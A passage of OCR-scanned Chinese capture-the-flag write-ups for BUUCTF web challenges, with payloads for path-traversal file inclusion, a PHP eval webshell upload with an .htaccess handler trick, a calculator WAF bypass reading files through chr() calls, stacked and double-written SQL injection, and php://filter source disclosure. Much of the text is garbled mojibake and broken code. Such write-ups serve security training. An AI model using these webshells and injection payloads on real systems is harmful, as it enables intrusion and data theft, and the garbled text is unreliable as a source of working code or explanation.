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<?php
highlight_file(__ FILE_ );

class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
¥
$ _page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?")
)s
if (in_array($_page, $whitelist)) {
return true;
¥
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?")
)
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm: :checkFile($ REQUEST['file'])
) {
include $ REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";

?>

$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //&X—BfCiHE#EFrFHNIhint.php



flag not here, and flag in ffffllllaaaagggg

R R A agrEfffillaaaagggg B H
B S PX B ARG

if (! empty($_REQUEST['file']) //$_REQUEST['file']{HIES

&% is_string($_REQUEST['file']) //$_REQUEST['file']{d %774
&& emmm: :checkFile($ REQUEST['file']) //Bt#fiEiZcheckFile HHKH

) A
include $_REQUEST['file']; //&&$_REQUEST[ 'file']Xf#
exit;

} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
// HTHE B 15
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highlight file(_ FILE_ ); //#TEIftHd
class emmm // & XemmmZE

{
public static function checkFile(&$page)// HHEAZE R4 $page
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//Z#swhitelist (F1£%) KA
if (! isset($page) || !is_string($page)) {//Z¥pageZEE B IEF1FH
echo "you can't see it";//#H!"you can't see it"
return false;//i&[Elfalse
¥
if (in_array($page, $whitelist)) {//&$pageZEHFEHETIwhitelistA P
return true;//iREltrue
¥
$_page = mb_substr(//ZRIEBR-ER$paged ' ? ' wi# S, HLNEBIEA $page
$page,
0,
mb_strpos($page . '?', '?")
)
if (in_array($_page, $whitelist)) {
return true;
¥
$_page = urldecode($page);//urlf#iB$page
$ _page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?'")
)
if (in_array($_page, $whitelist)) {
return true;
¥
echo "you can't see it";
return false;
}
}

] LA B R B A D ANifiE A

F—AMAEANEEBITRIE, BER$page hERF, FMIREfalse

FEoANiFIEA AN $page R B ALE T Swhitelistdd, FENIREtrue
EEAAEQHMEBRIUE Mspage R B EAE T swhitelist AT, Bi$paged ' ? #i#4r, FEMIEREtrue
FEIAFAEQHI M ur RS HBBUS $page R B FAE T swhitelistsh, FENEEtrue

FHU LA IFEABHRIEEE, WiREfalse

BEANREA) T LR Eltrue, % —/MEAEHEH W$page, AHH

FBEAMEREDC? RS, B T2HE R BRI Nget s RRT KIS, AR

FBANAEA S, SEHATulBE BRI, FRNT 2L B Rugid, 7EmRSS 8RR RS0 9 —IX, checkFileEi %+
R — K, LAY, PAEdEAREARR. C?PHIRGEIEA %2537) Hikurl:
http://***/source.php?file=source.php%253f.. ./fffflllaaaagggg

FTREME, BTRINAmEllaaaagggg XX AR RAAE, REeKREM.../, RAE
http://***/source.php?file=source.php%253f.../...I...1.. /.. /fflllaaaagggg # . Th [H] & flag
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[MRCTF2020]4R % 4% [ e

B8 us laugh and

... | webshell.php
—gEt

REARX R —TE M B AR, RATE # L 4% —>webshell.php

#F your problem?

HFBRATEIET BAIIM—TR. FURBIEXHFRER, BATECH G4 phpBUijpg

i gt et i = tim e memt e m ot am m = g [,
Connection: close Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Referer: http://9a8db1fc-31f8-4202-95ef-25a7f89c02c7 .node3.buuoj.cn/ Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cookie: PHPSESSID=dc4 dff8a46ea9974755e512acd7a5188 Pragma: no-cache

Upgrade-Insecure-Requests: 1 X-Powered-By: PHP/5.6.23

--412946896216298242051890230359
Content-Disposition: form-data; name="uploaded"; ﬂlename=“webshel|.jpg"| <meta charset="utf-8">3% + your problem?
Content-Type: application/octet-stream

<?php

@eval($_POST[shell]);

echo "111";

[—————— LY. 1} T L L LY L LR E T AT L

emmmm, KIIERARIT, ES— T Content-Type, & Bimage/jpeg



Acceprl-Language: 2n-CN,Zn;q=u.5,2n- | W;G=V. /,2N-HK;G=U.9,en-Us;q=u.5,en;q=u .2 Server: openresty
Accept-Encoding: gzip, deflate L Date: Fri, 03 Apr 2020 13:51:50 GMT

Content-Type: multipartform-data; boundary=--------------------——-——-. -412946896216298242051890230359 Content-Type: text/htm|

Content-Length: 395 Content-Length: 112

QOrigin: http://9a8db 1fc-31f8-4202-95ef-25a7f89c02¢7.node3 buuoj.cn Connection: close

Connection: close Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Referer: hitp://9a8db1fc-31f8-4202-95ef-25a7f89c02¢7 .node3.buuoj.cn/ Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cookie: PHPSESSID=dc4dff8a46ea9974755e512acd7a5188 Pragma: no-cache

Upgrade-Insecure-Requests: 1 Vary: Accept-Encoding

X-Powered-By: PHP/5.6.23

— -412946896216298242051890230359
Content-Disposition: form-data; name="uploaded"; 1PY" g

Content-Type: image/jpeg\ <meta charset="utf-8">/var/ww I 177 77001 79/ ipg
- uploaded!
<?php /

JE& A BB Aphp KA BE LA%, JE MR Z R IAE T Content-type I SCH 11 J5 4 4 AR — T E BT IE T WL 54

Attack Save Columns

J Results I Target [ Positions [ Payloads X Options 1

‘ Filter: Showing all items

eques ayloa alus Tror Imeou eng v | Comfinent
24 _user.ini 200 L] L] 551
5 htaccess 200 O O 549
25 .abcdefg 200 O O 548
20 ipg 200 O [ 544
21 png 200 O (]  544m
22 aif 200 O O 544
0 200 U UJ 542
1 php 200 O ] 345
2 PhP 200 O O 345
3 .pphphp 200 O O 345
4 pphphP 200 O [ 345
8 php2 200 O [ 345
r T 1 -

RIVX LA G SR T A B4R, BATERE LA_L 4% htaccess, T .htaccessi{EHX BEAF ¥R, PERMWETEE
.htaccessHI N &

<FilesMatch "jpg|png|gif|IPG">
SetHandler application/x-httpd-php
</FilesMatch>



EAe)E, BAIE Efkjpgtt KEIARL, Hissas st i LORs jpgs SR STHFH AT 9 php st Seid 748 3 3838 7]

m iDiEm | 9s8db1fo-31 5420, X | +

I3 Avar fwwn/hind fapload/043017 £7b£86do8dba7 7002 de0a05d78/ v iRR
111.73.46.229 BR0), i) E=t g Ao it
B e/
B Y ver D webshell%2epng 2020-04-03 22:66:41 43 0644
= W
B & hinl [ - htaccess 2020-04-03 23:02:11 92 0644
= I upload
(] [7] webshell®eehtaccess 2020-04-03 22:55:41 43 D644
lock
) mail @wehshan Jpg 2020-04-03 23:02:41 43 0644
@ tnp
) opt [] webshell®gegif 2020-04-03 22:55:41 43 0644
O leg
(=RIL [ webshell#zeusers2eini 2020-04-03 22:55:41 43 0644
] spool
[ﬁj backups . .
"y D webshell¥%Cejpg 2020-04-03 22:66:41 43 0644
E ::::h. D webshell¥2eabedefg 20200403 22:55:41 43 0644
2 boot
[ proc
FER B F R Eflag X
upload.php ] A %
<?php
session_start();
echo "
<meta charset=\"utf-8\">";
if(!isset($_SESSION[ 'user'])){
$_SESSION[ 'user'] = md5((string)time() . (string)rand(1e0, 1000));
}
if(isset($_FILES['uploaded'])) {
$target_path = getcwd() . "/upload/" . md5($_SESSION[ 'user']);
$t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
$uploaded_name = $ FILES['uploaded']['name’'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded name,'.') + 1);
$uploaded_size = $ FILES['uploaded']['size'];
$uploaded_tmp = $_FILES['uploaded']['tmp_name'];
if(preg_match("/ph/i", strtolower($uploaded_ext))){
die("#& ¥ your problem?");
}
else{
if ((($_FILES["uploaded"]["type"] == "
") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg"
)| | ($_FILES["uploaded"]["type"] == "image/png")) && ($_FILES["uploaded"]["size"] < 2048)){

$content = file_get_contents($uploaded_tmp);
mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
move_uploaded_file($uploaded_tmp, $t_path);
echo "{$t_path} succesfully uploaded!";

¥
else{

die("#& ¥ your problem?");
¥

?>

[RoarCTF 2019]Easy Calc



T — TR T R

url:"calc.php?num="+encodeURIComponent ($("#content").val())

$("#content").val() RHARE:

FRELid AcontentffI HTMLAR 2 76 & HIME, & JQuery, ("#content" ) 24T document.getElementById("content");
("#content").val()Md % F document.getElementById("content").value;

calc.php:

<?php
error_reporting(0);
if(lisset($_GET['num'])){
show_source(__FILE_ );

telse{

$str = $_GET['num'];

$blacklist = [ ', "\t', "\r', "\n','\"', U, Tt N\, NTL NS AL\ TS

foreach ($blacklist as $blackitem) {

if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");

}

eval('echo '.$str.';");

?>

HRTWEAENERR400,403F1500, XBEHEKRZ—ANHE S : PHPHIZRF £ ENTR M
S
1H—TWES, kIiflagct:

? num=1;var_dump(scandir(chr(47)))

string(1) “.”
[11=>

string(2) “..”"
[2]=>

string(10) 7. dockerenv”
[3]=>

string(3) “bin”
[4]=>

string(4) “boot”
[5]=>

string(3) “dev”
[6]=>

string(3) “etc”
[7]1=>

string(5) "flage” «m—
[8]=>

string(4) “home”
[91=>

string(3) “1ib”
[10]=>

string(5) “1ib64”
[111=>

string(5) “media”
[12]=>

string(3) “mnt”
[13]=>

string(3) “opt”

KRI T flaggc
2.5 Hiflagg:



?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103

fi#tr
A% B UM BT — 224 2

& Rmwaf S R FnumAZ BAL3E 7/, W UEnumET I E 8, XEwaffi A Bnumix MR T, FOVELE KRR num’,
AR num”. {EphpfEMHT KR K, SERERSERE, IERNOMABEERERET, &L4ETIFETHR.

RIULIE AT

% . Fchar()#asciiB T 5

FOI 4)r easy_calc.php

<?php
print(chr(102));
print(chr(49));
print(chr(97))ﬂ

print(chr(103))
print(chr(103))
?>

-
b J
-
b J

flagg[Finished in ©0.1s]

https://blog.csdn.net/qg_4:

PHP {775 8 TR R AT 4 2

%: PHPRERFTESHEBNARNZRSL, FIEBRITEAFRFEN, EMMAE: 1HRE AR 28 E TR
ThIZ (BEEE) [HwalMibRE K&, phpAI A HikfRid]

[SUCTF 2019]EasySQL

Give me your flag, | will tell you if the flag is right.
| | teseEig

ATCLREBTEN:

1;show databases
1;show tables



Give me your flag, | will tell you if the flag is right.
i)

Array ([0] => 1) Array ( [0] => ctf) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance schema ) Array ( [0] => test)

Give me your flag, | will tell you if the flag is right.
| =

Array ( [0] => 1) Array ( [0] => Flag)

RIMAE—AFlag®k
W5 iR EKFlag,
K¥union, prepare, handler#idyE T & T wpA B FREEME. . .

select $ GET['query'] || flag from flag
A Fh R

1.
payload: *1

EHIEA): select*1|flag from Flag
2.
payload:1;set sql_mode=PIPES_AS_CONCAT;select 1

fEHT -

fioracle BREHR MIE ¢ || ° REBFRFBRPE.
{BrEmysql BREARZHE. FEIFEmysql Ksql_mode
#®: pipes_as_concat FKLHPloracle HI—EIhEE.

VRS2
https://blog.csdn.net/qq_44657899/article/details/104533077

[BRM A 2019]5 B i B %


https://blog.csdn.net/qq_44657899/article/details/104533077

@ load URL (5cd2d816-4f15-49fe-988a-0d360c11a5e5.node3.buuoj.cn/
% split URL

4 Execute

[] Postdata [] Referrer 4 OxHEX » @% %URL ¥ &% BASE64 I | /nsert string to replacy

BEZERE, AZER, hRMSHR
RUERARGIADNFE, BHEHTRERBRwww.tar.gzb KRR

Insert replacing string Repli

X— 8 —FF IR EA A www.tar.gz" IR L, B UUAE — AN MM EEIXAS, J5RA RATIEMBETREZ—MEFR! ! !
HihERZ 55N www tar.gZ 4R J5 ik T LS B VERD

http://5cd2d816-4f15-49fe-988a-0d360clla5e5.node3.buuoj.cn/www.tar.gz

R T RAKERPHPIME (ERANFIER LR UBF A, BERNSERURE, BT —TWPA RHIEXIEBES K2
fuzzing, &7 —RBHEHAERIGARBER, TREXEILR—T:

import requests

import os

import re

url = "http://localhost/BUUCTF/src/"'
ptn = re.compile(br"\$_GET\['(\w+)"'\]")

ptnl = re.compile(br'>>> (\w+) !!!1")

i=20

for £ in list(os.scandir('E:\phpstudy\PHPTutorial\WWW\BUUCTF\src'))[::-1]:
i+=1

print(i, end="\r")
with open(f.path, 'rb') as fp:
data = fp.read()
for get in set(ptn.findall(data)):
get = get.decode('ascii')
cmd = "echo ">>> %s II1";" % get
r = requests.get(url + f.name, params={get: cmd})
if ptnl.search(r.content) is not None:
print()
print(f.name, get)
exit()

SENE:

https://www.cnblogs.com/chrysanthemum/p/11717337 .html

[#% % KBk ik 2019]Secret File


https://www.cnblogs.com/chrysanthemum/p/11717337.html

IT ~¥ = @& SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY~ TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS~ LFI-

| Load URL '/http://f9c7472d7693674b5578(67—45fca5119015.n0d53.buu0j‘cn
split URL

Execute

.
[ Post data

[J Referrer 4% OxHEX ™ 4% %URL ¥ 4 BASE64 ¥ Replace All 3 | =

SR — BB B B A — TR, EREMANLW, ARfTAREAmRt A, EFHERAELKN

bottom:0;
text—align :center;
}
p,hl {
cursor: default;
}
ityle>

<head>
{meta charset="utf-8">
Ctitled RIS </ title>
</head>

<body style="backgraund-color:black;”><br><br>{br><br><br><br>

<hl style="font-famiW verdana;color:red;text—align:center; >R FIEFERHE I FEE 4?2 </hl><br>{br><br>

{p style="font—familyv:arigcolor:red;font-size:20px;text-align:center; >A AL ol LLZS R, J-R0L ! 40— P& R T </p>
{a id="master” href="_/Archive room. php” style="background-color:#000000; height:70px;width:200px;color:black;left:44%;cursor:default;”>0h! You found me</a
{div style="position: absolute;bottom: O;width: 99%;”><p align="center” style="font:italic 15px Georgia, serif:color:white;”> Syclover @ cldy</p><{/div
</body>
1S

Rt EBEERIRAL R

I
style>

<head>
{meta charset="utf-8">
titler#fii Ry %Ed/titler
</head>

<body style="back@xpund-color:black;”><br><br><br><{br><br><br>
<hl style="font—famM§ verdana;color:red;text—align:center;”>
FAARA AR T, NG AR <br>
</h1><br><br><br><br><br> >
<a id="master” href="./action. php” style="background-color:red;height:50px;width:200px;color:HFFFFFF;left:44%;">
{font size=6>SECRET</font>
/a>
<div style="position: absolute;bottom: O;width: 99%;”><p align="center” style="font:italic 15px Georgia, serif;color:white;”> Syc

H A action.php, &M1HE HitE



<html>

{style>
p,hl {
cursor: default;
}
</style>
<head>
<meta charset="utf-8">
<title’END</title>
</head>

<body style="background-color:black;”><br><br><br><br><br><br>
<hl style="font—family:verdana;color:red;text-align:center;”> {45 4 </h1><{br><{br><br>
<{p style="font—family:arial:;color:red;font—size:20px;text—align:center; > EITA? M FMEEN. </p>
<div style="position: absolute;bottom: O;width: 99%;"><p align="center” style="font:italic 15px Georgia, serif;color:white;”> Syclover @ cldy</p><{/div>

</body>

</html>

R AWMEET, AR 0 S RKIABATBE K A Zaction.phpiii Zend.php R iZ R EER T o o EBEE KRB RATI—
T, BFRmA R

request response

Raw | Headers | Hex Raw | Headers | Hex | HTML | Render

GET /action.php HTTP/1.1 *  HTTP/1.1 302 Found
Host: f9c7472d-6936-4h55-8c67-45fca5119015.node3.buuoj.cn Server: openresty
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64: rv:46.0) Gecko/20100101 Firefox/46.0 Date: Sun, 05 Apr 2020 10:47:00 GMT
Accept: text/html,application/xhtml+xml.application/xml;q=0.9,"/",q=0.8 Content-Type: text/html; charset=UTF-8
Accept-Language: zh-CN.zh:q=0.8.en-US:¢=0.5.en:q=0.3 Content-Length: 63
Accept-Encoding: gzip. deflate Connection: close
DNT: 1 Location: end.php
Connection: close X-Powered-By: PHP/7.3.11
</DOCTYPE html>
<html>
</
secr3t.php
-—
<fhtml>

KRBT secr3t.php BEIXBEERINNEELEAaghiZ T, WA —TF secr3t.php

<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight file(__ FILE_ );
error_reporting(9);
$file=$ GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flagil# T flag. php &£
?>
</html>

FEGETHS, ST — W2, ../  tpMiZIEHIR httpfihttps , php://input EBF datathil , ERBIIRINEAE T
JE FilterthyBix
payload:



http://f9c7472d-6936-4b55-8c67-45fca5119015.node3.buuoj.cn/secr3t.php?file=php://filter/read=convert.base64-enco
de/resource=flag.php

INT ~ = & SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY~

@ Load URL [ http://f9c7472d-6936-4b55-8¢67-45fca5119015.node3.buuoj.dh/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
% split URL

D Execute

[] Postdata [] Referrer 4% OxHEX 3% 4% %URL 3% % BASE64 I | /nsert siring rcrspfan| |fnserrisp/an}ig string Replace All -

<html>
(title’secret</title>
{meta charset="UTF-8">
{?php
highlight_file(_FILE_);
error_reporting (0) ;
$£ile=$_GET[ file'];
if (strstr($file, ”.. /") | |stristr(8file,
echo “0h no!”;
exit();

tp”) | |stristr($file, "input”) | |stristr($file, “data”)) {

}
include ($file) :
aglifit{E [ f1 pH

ko4
</html>

PCFETONUWVBFIGhObWw+Cgo8aHRtbD4KCiAgICA8aGVhZDAKICAgICAgICABbWVOYSBjaGFyc2VOPS)1dGYtOCI+CiAgICAgICAgPHRpdGxIPkZMQUcBL3RpdGxIPgoglCAgPC90Z\

#1583 ffbaseb4 G — T :

n=sgREE AiFIMAE W BASE64 E R /BASEG4EEIR

A BASE64:
<IDOCTYPE html= PCFETONUWVBFIGhObWw+Cgo8aHRtbD4KCiAgICA8aGVhZDAKICA
glCAgICABbWVOYSBjaGFyc2VOPSJ1dGYtOCI+CiAglCAgICAgPHRp
<html> dGxIPkZMQUcBL3RpdGxIPgoglCAgPC90Z WFkPgoKICAgIDxib2R5IH
NOeWxIPSJiYWNrZ3JvdW5kLWNvbGIyOmJsYWNrOyl+PGJyPjxicj48
<head= Ynl+PGJyPjxicj48Ynl+CiAgICAgICAgCiAgICAgICAgPGgxIHNOeWxIP
<meta charset="utf-8"> SJmb250LWZhbWise Tp2ZXJkYW5hO2NvbGIyOnJIZDt0ZXhOLWFsa
<title=FLAG=/title= WduOmNIbnRIcjsiPuWViuWTiO+8geS900aJlvuWisOalkeS6hu+8geW
=/head> Pr+aYr+5900eci+S4jeWIsOalkVFBUX5+fjwvaDE+PGJyPjxicj48Yn|+C
IAgICAgICAgCIAgICAgICAgPHAQC3R5bGUIIMZvbnQtZmFtaWx50m
<body style="background-color black;"=<br=<br=<br=<br=<br=<br= FyaWFsO2NvbG9yOnJIZDtmb250LXNpemU6M|jBweDt0ZXhOLWFsa
WduOmNIbnRIcjsiPgoglCAgICAgICAgICABP3BocAogICAgICAgICAg!
<h1 style="font-family-verdana;color:red;text-align.center; =05 ! CAglCAgZWNobyAi50iR5bCx5ZyobL+Z6YeMIjsKICAgICAgICAgICAgI
IR T ! OTRREFFFRQAQ~~~</h1><br><br><br> CAgICRmbGFnID0gJ2ZsYWd7NGFINThkOTItYjc5ZCO0ZJhKLWI2ZN2Yt
ZGMOOWIYYmQ2NmEzfSc7CiAgICAgICAgQICAgICAgICAkc2VjiecmVOI
<p style="font-family-arial;color-redfont-size 20px;text- D0gJ2ppQW5nX0x1eXVhbI93NG50c19hX2cxckimemkzbmQnCiAgICA
align:center;"> glCAgICAgID8+CiAglICAgICAgPCOwPgoglCAgPCIib2R5PgoKPC9od
<?php G1sPgo=
echo "EifrixE")

$flag = 'flag{4ab58d92-b79d-4f8d-b67f-dc49b2bd66a3}’;
$secret = JiAng_Luyuan_w4nts_a_g1rifri3nd’
>
</p>
</body>

</html=
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stdata [] Referrer 4 OxHEX ¥ @& Replace All 29 | ™=
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Syclover @ cl4y https://blog.csdn.net/qg_45089570

XR—EsqQUEANRE, AT
payload:
1=1%23

http://e4321b05-c0d6-4c77-afbb-40ce25c49b0e.node3 . buuoj.cn/check.php?username=admin&password=password"’

Opassword

UNION BASED- ERROR/DOUBLE QUERY~ TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION-
sword'or 1

OTHER- XSS LFI-

lit URL
ecute

[ Postdata [] Referrer 4 OxHEX ¥» @ %URL 3» &%= BASE64 I

<« Vv AL LT

1 - Bl L 2 .
You have an error in your SQL syntax; check the manual that cerresponds toyour MariaDB server version for the right syntax to use near '1=1#" at line 1
A - ASHIUM, AT .

R

id URL
it URL
2cute

[] Post data [] Referrer




18bee90a’

45

A IXIE IR JE T W25, —AN— &R, XMTEERMERE, BATHbrupsuit @i —T, B ERRELE oorr
1=1%23 Z [AMA—PNZEF M oorrselect 1=1 %23 MIEIT3E T selectih B LA IE & B Fiki 75 M 5t 2> R 45

?)

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads
fo payload positions - see help for full details.

Attack type: | Sniper

GET /check.php?username=admin&password=password%2700rr§1§%201=1%23 HTTP/1.1
Host: e4321b05-c0d6-4¢c77-afbb-40ce25c49b0e.node3.buuoj.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWGE64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,"/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Connection: close

B! Intruder attack 3

Attack Save Columns

Results | Target | Positions | Payloads | Options

Filter: Showing all items

Request Payload Status Error Timeout Length v | (bmment
1 union 200 LJ L 1002
2 and 200 LJ L 1002
3 where 200 [ [} 1002
4 or 200 LJ L 1002
6 from 200 L LJ 1002
7 sleep 200 [ L 1002
9 %20 200 L J 1002
1" select 200 LJ L 1002
12 * 200 L J 1002
15 ' 200 U UJ 1002
24 <= 200 L J 1002
30 if 200 U J 1002
35 ascii 200 LJ L 1002
36 substr 200 LJ L 1002
37 mid 200 ] [ 1002




o1 200 L L TuUZ
44 extractvalue 200 [ [} 989
45 name_const 200 L L 9387
43 linestring 200 L [ 987
8 benchmark 200 LJ L 986
33 information 200 LJ L 986
43 updatexml 200 L L 986

RILIEE PRI L, BATEENBIIHRR X LG AT L T
42 B

check.php?username=admin&password=adminl%27uniunionon selselectect 1,2,group_concat(schema_name) frfromom infoor
rmation_schema.schemata’%20%23

&

check.php?username=admin&password=adminl%27uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorr
mation_schema.tables whwhereere table_schema=database()%23

5

check.php?username=admin&password=admini%27uniunionon selselectect 1,2,group_concat(column_name) frfromom infoor
rmation_schema.columns whwhereere table_schema=database() anandd table_name='b4bsql'%23

BHTBRA

check.php?username=admin&password=adminl%27uniunionon selselectect 1,2,group_concat(passwoorrd) frfromom b4dbsql%
23

~ = & SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-

oad URL "’htlp://e4321 b05-¢c0d6-4c77-afbb-40ce25c49b0e.node3.buucj.cn/check.php?username=admin&password=admin1%27uniunionon selselectect 1,2,group_concat(passwoorrd) friromom b4bsq%23
split URL

Execute

[JPostdata []Referrer @ OxHEX 3B % %URL 3B @ BASE64 3B Replace All 3B ™=

grd e y =—.
Eplay %97—7 ,sql_| |nJect|on u_know_por
f‘\, AL

htty

P


https://www.cnblogs.com/wangtanzhi/p/12243874.html
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